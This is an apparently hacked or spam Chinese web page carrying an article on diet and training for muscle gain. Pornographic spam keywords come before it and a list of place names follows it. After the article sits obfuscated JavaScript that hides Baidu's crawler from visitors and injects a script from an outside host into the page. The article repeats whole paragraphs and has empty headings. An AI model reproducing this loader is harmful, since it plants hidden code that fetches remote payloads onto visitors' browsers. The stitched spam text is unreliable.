亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

肌肉訓(xùn)練飲食方法

2017-04-21 17:37:34  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:對(duì)于男人來說一定要有肌肉,沒有肌肉的男人,給女人的感覺不但不會(huì)好,而且也不會(huì)受到女人的關(guān)注,所以現(xiàn)在有很多的男人,為了能吸引女人對(duì)

對(duì)于男人來說一定要有肌肉,沒有肌肉的男人,給女人的感覺不但不會(huì)好,而且也不會(huì)受到女人的關(guān)注,所以現(xiàn)在有很多的男人,為了能吸引女人對(duì)自己的關(guān)注,都想盡快的通過鍛煉和飲食的方法增加自己的肌肉,那么如何通過肌肉訓(xùn)練飲食增加肌肉,看看下面解答。

1

增大肌肉塊頭需要時(shí)間和努力。雖然有的人增大肌肉更快、更容易,可能還是要用6~12個(gè)月才能讓肌肉規(guī)模有顯著的變化,即使你在這方面很努力。比較現(xiàn)實(shí)的增長(zhǎng)速度是每星期0.2~1公斤(0.4~2.2磅)。肌肉增長(zhǎng)的速度在開始的幾個(gè)月比較快,然后會(huì)漸漸慢下來。因此,一個(gè)運(yùn)動(dòng)員可能在增重訓(xùn)練的第一個(gè)月漲3公斤,而在第四個(gè)月只會(huì)漲1公斤。

2

為了增加肌肉需要進(jìn)行耐力訓(xùn)練,同時(shí)攝入適當(dāng)數(shù)量的碳水化合物和蛋白質(zhì)。毫無疑問,想要增加肌肉,人需要更大數(shù)量的蛋白質(zhì)。當(dāng)然,力量型運(yùn)動(dòng)員和進(jìn)行耐力訓(xùn)練的運(yùn)動(dòng)員需要額外的蛋白質(zhì)。但是,這并不能推斷出他們需要蛋白質(zhì)補(bǔ)品。含有大量碳水化合物的高質(zhì)量的飲食幾乎總是能夠滿足運(yùn)動(dòng)員對(duì)于蛋白質(zhì)的需要。

3

增加肌肉的條件

合適的基因,增重訓(xùn)練,良好的營(yíng)養(yǎng)和耐心。

有些人肌肉塊頭容易增長(zhǎng),但是有些人卻增長(zhǎng)的比較慢,這就是基因的作用。但是不管基因怎么樣,通過增重訓(xùn)練和合理的飲食肌肉都是可以增長(zhǎng)的,即使肌肉規(guī)模的增加并不是很顯著。

增重訓(xùn)練

只有使用肌肉才能讓肌肉變大變強(qiáng),如進(jìn)行耐力訓(xùn)練(針對(duì)上身),騎車(針對(duì)腿部)和加重訓(xùn)練。

耐心

增大肌肉塊頭需要時(shí)間和努力。雖然有的人增大肌肉更快、更容易,可能還是要用6~12個(gè)月才能讓肌肉規(guī)模有顯著的變化,即使你在這方面很努力。比較現(xiàn)實(shí)的增長(zhǎng)速度是每星期0.2~1公斤(0.4~2.2磅)。肌肉增長(zhǎng)的速度在開始的幾個(gè)月比較快,然后會(huì)漸漸慢下來。因此,一個(gè)運(yùn)動(dòng)員可能在增重訓(xùn)練的第一個(gè)月漲3公斤,而在第四個(gè)月只會(huì)漲1公斤。

飲食

為了增加肌肉需要進(jìn)行耐力訓(xùn)練,同時(shí)攝入適當(dāng)數(shù)量的碳水化合物和蛋白質(zhì)。毫無疑問,想要增加肌肉,人需要更大數(shù)量的蛋白質(zhì)。當(dāng)然,力量型運(yùn)動(dòng)員和進(jìn)行耐力訓(xùn)練的運(yùn)動(dòng)員需要額外的蛋白質(zhì)。但是,這并不能推斷出他們需要蛋白質(zhì)補(bǔ)品。含有大量碳水化合物的高質(zhì)量的飲食幾乎總是能夠滿足運(yùn)動(dòng)員對(duì)于蛋白質(zhì)的需要。

增大肌肉體積的營(yíng)養(yǎng)

飲食頻率

如何通過肌肉訓(xùn)練飲食增加肌肉,以上內(nèi)容就做了全面的介紹,所以想盡快讓自己肌肉增多的男人,可以通過以上的介紹,通過正確地進(jìn)行鍛煉,通過合理的飲食,讓自己的肌肉盡快的增多,這樣才能讓自己更健康,讓自己更男人。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
冷水江市| 遂宁市| 六盘水市| 吉安市| 镇雄县| 广宁县| 龙岩市| 堆龙德庆县| 孝义市| 邹城市| 鹤壁市| 赤峰市| 澄城县| 北海市| 略阳县| 浮山县| 营口市| 仁化县| 阜阳市| 文山县| 财经| 驻马店市| 砚山县| 琼海市| 阜康市| 洞口县| 永修县| 探索| 乌拉特前旗| 渑池县| 崇义县| 鄂伦春自治旗| 六安市| 阿城市| 名山县| 昌乐县| 泰来县| 康保县| 中西区| 四子王旗| 南郑县|